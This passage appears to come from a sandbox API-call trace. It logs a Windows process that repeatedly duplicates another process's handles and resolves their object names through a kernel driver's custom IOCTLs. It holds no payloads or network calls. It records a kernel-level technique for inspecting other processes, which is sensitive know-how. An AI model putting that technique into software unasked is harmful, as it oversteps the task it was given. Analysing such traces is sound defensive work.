ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0049a2a00, HandleInformation=0x0) returned 0x0 [0134.917] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.917] PsReleaseProcessExitSynchronization () returned 0x2 [0134.917] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0134.917] ObQueryNameString (in: Object=0xfffff8a0049a2a00, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0134.917] ObfDereferenceObject (Object=0xfffff8a0049a2a00) returned 0x2 [0134.917] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.917] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x330000) returned 1 [0134.917] CloseHandle (hObject=0xc4) returned 1 [0134.918] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc58) returned 0xc4 [0134.918] GetCurrentProcess () returned 0xffffffffffffffff [0134.918] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x9c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0134.918] CloseHandle (hObject=0xc4) returned 1 [0134.918] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.918] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x80) returned 0x354c50 [0134.918] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x354c50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x354c50, ReturnLength=0x0) returned 0x0 [0134.918] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x354c50 | out: hHeap=0x330000) returned 1 [0134.918] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0134.918] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0134.918] PsLookupProcessByProcessId (in: ProcessId=0xc58, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.918] PsAcquireProcessExitSynchronization () returned 0x0 [0134.918] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0) [0134.918] ObReferenceObjectByHandle (in: Handle=0x9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003704070, HandleInformation=0x0) returned 0x0 [0134.918] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.918] PsReleaseProcessExitSynchronization () returned 0x2 [0134.918] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0134.918] ObQueryNameString (in: Object=0xfffffa8003704070, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0134.919] ObfDereferenceObject (Object=0xfffffa8003704070) returned 0x2 [0134.919] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.919] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x330000) returned 1 [0134.919] CloseHandle (hObject=0xc0) returned 1 [0134.919] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc58) returned 0xc0 [0134.919] GetCurrentProcess () returned 0xffffffffffffffff [0134.919] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x94, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0134.919] CloseHandle (hObject=0xc0) returned 1 [0134.919] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.919] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x78) returned 0x354c50 [0134.919] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x354c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x354c50, ReturnLength=0x0) returned 0x0 [0134.919] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x354c50 | out: hHeap=0x330000) returned 1 [0134.919] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0134.919] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0134.919] PsLookupProcessByProcessId (in: ProcessId=0xc58, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.919] PsAcquireProcessExitSynchronization () returned 0x0 [0134.919] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0) [0134.919] ObReferenceObjectByHandle (in: Handle=0x94, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003889280, HandleInformation=0x0) returned 0x0 [0134.919] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.919] PsReleaseProcessExitSynchronization () returned 0x2 [0134.919] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0134.919] ObQueryNameString (in: Object=0xfffffa8003889280, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.919] ObfDereferenceObject (Object=0xfffffa8003889280) returned 0x2 [0134.919] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.919] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x330000) returned 1 [0134.919] CloseHandle (hObject=0xc4) returned 1 [0134.919] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc58) returned 0xc4 [0134.919] GetCurrentProcess () returned 0xffffffffffffffff [0134.919] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x90, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0134.920] CloseHandle (hObject=0xc4) returned 1 [0134.920] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x88) returned 0x354c50 [0134.920] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x354c50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x354c50*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0134.920] PsLookupProcessByProcessId (in: ProcessId=0xc58, Process=0xfffff880054735a8 | out: Process=0xfffff880054735a8) returned 0x0 [0134.920] PsAcquireProcessExitSynchronization () returned 0x0 [0134.920] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735c8 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735c8) [0134.920] ObReferenceObjectByHandle (in: Handle=0x90, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054735b0, HandleInformation=0x0 | out: Object=0xfffff880054735b0*=0xfffffa8002608560, HandleInformation=0x0) returned 0x0 [0134.920] PsReleaseProcessExitSynchronization () returned 0x2 [0134.920] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0134.920] ZwQueryObject (in: Handle=0x90, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880054735a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880054735a4) returned 0xc0000004 [0134.920] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x88, Tag=0x58637250) returned 0xfffff8a002140400 [0134.920] ZwQueryObject (in: Handle=0x90, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a002140400, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a002140400, ReturnLength=0x0) returned 0x0 [0134.920] ExFreePoolWithTag (P=0xfffff8a002140400, Tag=0x0) [0134.920] ObfDereferenceObject (Object=0xfffffa8002608560) returned 0x1 [0134.920] KeUnstackDetachProcess (ApcState=0xfffff880054735c8) [0134.920] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.920] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x354c50 | out: hHeap=0x330000) returned 1 [0134.920] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0134.920] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0134.920] PsLookupProcessByProcessId (in: ProcessId=0xc58, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.920] PsAcquireProcessExitSynchronization () returned 0x0 [0134.920] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0) [0134.920] ObReferenceObjectByHandle (in: Handle=0x90, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002608560, HandleInformation=0x0) returned 0x0 [0134.920] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.920] PsReleaseProcessExitSynchronization () returned 0x2 [0134.920] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0134.920] ObQueryNameString (in: Object=0xfffffa8002608560, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.920] ObfDereferenceObject (Object=0xfffffa8002608560) returned 0x1 [0134.920] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.920] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x330000) returned 1 [0134.920] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc58) returned 0xc4 [0134.921] GetCurrentProcess () returned 0xffffffffffffffff [0134.921] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x7c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0134.921] CloseHandle (hObject=0xc4) returned 1 [0134.921] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.921] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x78) returned 0x354c50 [0134.921] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x354c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x354c50, ReturnLength=0x0) returned 0x0 [0134.921] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x354c50 | out: hHeap=0x330000) returned 1 [0134.921] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0134.921] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0134.921] PsLookupProcessByProcessId (in: ProcessId=0xc58, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.921] PsAcquireProcessExitSynchronization () returned 0x0 [0134.921] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0) [0134.921] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003450350, HandleInformation=0x0) returned 0x0 [0134.921] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.921] PsReleaseProcessExitSynchronization () returned 0x2 [0134.921] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0134.921] ObQueryNameString (in: Object=0xfffffa80038b5900, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.921] ObfDereferenceObject (Object=0xfffffa8003450350) returned 0x4 [0134.921] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.921] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x330000) returned 1 [0134.921] CloseHandle (hObject=0xc0) returned 1 [0134.921] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc58) returned 0xc0 [0134.921] GetCurrentProcess () returned 0xffffffffffffffff [0134.921] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x78, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0134.921] CloseHandle (hObject=0xc0) returned 1 [0134.921] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.921] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x70) returned 0x354c50 [0134.921] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x354c50, ObjectInformationLength=0x70, ReturnLength=0x0 | out: ObjectInformation=0x354c50, ReturnLength=0x0) returned 0x0 [0134.921] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x354c50 | out: hHeap=0x330000) returned 1 [0134.921] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0134.921] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0134.921] PsLookupProcessByProcessId (in: ProcessId=0xc58, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.921] PsAcquireProcessExitSynchronization () returned 0x0 [0134.921] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0) [0134.922] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a003da7980, HandleInformation=0x0) returned 0x0 [0134.922] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.922] PsReleaseProcessExitSynchronization () returned 0x2 [0134.922] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0134.922] ObQueryNameString (in: Object=0xfffff8a003da7980, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.922] ObfDereferenceObject (Object=0xfffff8a003da7980) returned 0x2 [0134.922] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.922] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x330000) returned 1 [0134.922] CloseHandle (hObject=0xc4) returned 1 [0134.922] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc58) returned 0xc4 [0134.922] GetCurrentProcess () returned 0xffffffffffffffff [0134.922] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x4c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0134.922] CloseHandle (hObject=0xc4) returned 1 [0134.922] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.922] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x78) returned 0x354c50 [0134.922] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x354c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x354c50, ReturnLength=0x0) returned 0x0 [0134.922] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x354c50 | out: hHeap=0x330000) returned 1 [0134.922] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0134.922] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0134.922] PsLookupProcessByProcessId (in: ProcessId=0xc58, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.922] PsAcquireProcessExitSynchronization () returned 0x0 [0134.922] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0) [0134.922] ObReferenceObjectByHandle (in: Handle=0x4c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80023a0530, HandleInformation=0x0) returned 0x0 [0134.922] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.922] PsReleaseProcessExitSynchronization () returned 0x2 [0134.922] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0134.922] ObQueryNameString (in: Object=0xfffffa80023a0530, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.922] ObfDereferenceObject (Object=0xfffffa80023a0530) returned 0x2 [0134.922] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.922] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x330000) returned 1 [0134.922] CloseHandle (hObject=0xc0) returned 1 [0134.923] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc58) returned 0xc0 [0134.923] GetCurrentProcess () returned 0xffffffffffffffff [0134.923] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x3c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0134.923] CloseHandle (hObject=0xc0) returned 1 [0134.923] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.923] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x88) returned 0x354c50 [0134.923] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x354c50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x354c50, ReturnLength=0x0) returned 0x0 [0134.923] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x354c50 | out: hHeap=0x330000) returned 1 [0134.923] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0134.923] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x5e, lpOverlapped=0x0) returned 1 [0134.923] PsLookupProcessByProcessId (in: ProcessId=0xc58, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.923] PsAcquireProcessExitSynchronization () returned 0x0 [0134.923] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0) [0134.923] ObReferenceObjectByHandle (in: Handle=0x3c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003038b60, HandleInformation=0x0) returned 0x0 [0134.923] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.923] PsReleaseProcessExitSynchronization () returned 0x2 [0134.923] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0134.923] ObQueryNameString (in: Object=0xfffffa8003038b60, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.923] ObfDereferenceObject (Object=0xfffffa8003038b60) returned 0xf7 [0134.923] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.923] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x330000) returned 1 [0134.923] CloseHandle (hObject=0xc4) returned 1 [0134.923] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc58) returned 0xc4 [0134.923] GetCurrentProcess () returned 0xffffffffffffffff [0134.923] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0134.923] CloseHandle (hObject=0xc4) returned 1 [0134.923] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.923] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x78) returned 0x354c50 [0134.923] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x354c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x354c50, ReturnLength=0x0) returned 0x0 [0134.923] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x354c50 | out: hHeap=0x330000) returned 1 [0134.923] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0134.923] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x1a, lpOverlapped=0x0) returned 1 [0134.923] PsLookupProcessByProcessId (in: ProcessId=0xc58, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.923] PsAcquireProcessExitSynchronization () returned 0x0 [0134.924] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0) [0134.924] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030987b0, HandleInformation=0x0) returned 0x0 [0134.924] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.924] PsReleaseProcessExitSynchronization () returned 0x2 [0134.924] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0134.924] ObQueryNameString (in: Object=0xfffffa80030987b0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0134.924] ObfDereferenceObject (Object=0xfffffa80030987b0) returned 0x47c [0134.924] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.924] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x330000) returned 1 [0134.924] CloseHandle (hObject=0xc0) returned 1 [0134.924] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc58) returned 0xc0 [0134.924] GetCurrentProcess () returned 0xffffffffffffffff [0134.924] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0134.924] CloseHandle (hObject=0xc0) returned 1 [0134.924] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.924] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x80) returned 0x36cb50 [0134.924] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x36cb50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x36cb50, ReturnLength=0x0) returned 0x0 [0134.924] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x36cb50 | out: hHeap=0x330000) returned 1 [0134.924] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0134.924] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x1e, lpOverlapped=0x0) returned 1 [0134.924] PsLookupProcessByProcessId (in: ProcessId=0xc58, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.924] 